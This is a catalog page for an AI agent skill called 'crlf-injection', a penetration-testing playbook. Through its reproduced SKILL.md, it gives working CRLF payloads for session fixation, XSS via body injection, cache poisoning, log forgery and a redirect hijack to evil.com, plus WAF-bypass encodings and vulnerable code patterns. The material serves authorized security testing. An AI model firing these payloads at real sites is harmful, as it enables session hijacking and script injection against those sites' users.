Crlf Injection
- 2.3k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
crlf-injection is an agent skill that CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters.
About
The crlf-injection skill. CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks. CORE CONCEPT CRLF = (Carriage Return + Line Feed, ). If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body. DETECTION ### Basic Probe ### Double CRLF - Body Injection Two consecutive CRLF sequences end headers and start body: --- ## 3. FILTER BYPASS | Filter | Bypass | |---|---| | Blocks | Try alone, alone, or (Unicode) | | URL decodes once | Double-encode: | | Strips literally | Use URL-encoded form | | Blocks in value only | Inject in parameter name | --- ## 5.
- Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass.
- Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
- CORE CONCEPT CRLF = (Carriage Return + Line Feed, ).
- If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or e
- DETECTION ### Basic Probe ### Double CRLF - Body Injection Two consecutive CRLF sequences end headers and start body:
Crlf Injection by the numbers
- 2,275 all-time installs (skills.sh)
- +133 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #236 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
crlf-injection capabilities & compatibility
- Capabilities
- covers header injection, response body injection · often overlooked by scanners but chains into xss · core concept crlf = (carriage return + line feed · if user input is reflected in a response header · detection ### basic probe ### double crlf body
- Use cases
- security audit · testing · debugging
What crlf-injection says it does
Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass.
Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
npx skills add https://github.com/yaklang/hack-skills --skill crlf-injectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.3k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 2 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I apply crlf-injection correctly using the SKILL.md workflows and reference files?
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
Who is it for?
Developers and software engineers working with crlf-injection patterns from the skill documentation.
Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.
When should I use this skill?
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
What you get
Grounded crlf-injection guidance with highlights, triggers, and evidence quotes from SKILL.md.
- CRLF injection payloads
- Header injection proofs
- Escalation chain documentation
Files
SKILL: CRLF Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
0. RELATED ROUTING
- ghost-bits-cast-attack when the target is a Java service and
%0D%0A/\r\nencodings are WAF-blocked — substituting瘍(U+760D, low byte\r) and瘊(U+760A, low byte\n) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie---
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>---
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_idXSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200---
4. FILTER BYPASS
| Filter | Bypass |
|---|---|
Blocks %0D%0A | Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR---
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after loginCRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com---
6. COMMON VULNERABLE PATTERNS
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));---
7. TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responsesRelated skills
Entra App RegistrationCorrectly register an application in Microsoft Entra ID, configure OAuth 2.0 flows, request the right API permissions, and generate working MSAL authentication snippets484k1.3kAzure ComplianceRun automated Azure compliance scans, security posture checks, and Key Vault expiration audits before deploying.484k1.3k
Openclaw Secure Linux CloudDeploy and harden an OpenClaw agent instance on a Linux cloud server following battle-tested security defaults.270k72
Better Auth Best PracticesCorrectly configure Better Auth for secure authentication with database adapters, sessions, OAuth, email/password, and plugins in TypeScript projects.80.9k206
Firebase Security Rules AuditorAutomatically audit Firebase Firestore security rules for bypass vulnerabilities and logic gaps before deploying.80.4k397
Audit WebsiteRun comprehensive audits that surface SEO, performance, security, technical, and content issues with LLM-optimized reports and health scores.65.6k85How it compares
Use crlf-injection when header and redirect inputs are in scope; pair with open-redirect when navigation URL validation is the primary concern.
FAQ
Who is crlf-injection for?
Developers and software engineers working with crlf-injection patterns from the skill documentation.
When should I use crlf-injection?
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
Is crlf-injection safe to install?
Review the Security Audits panel on this page before installing in production.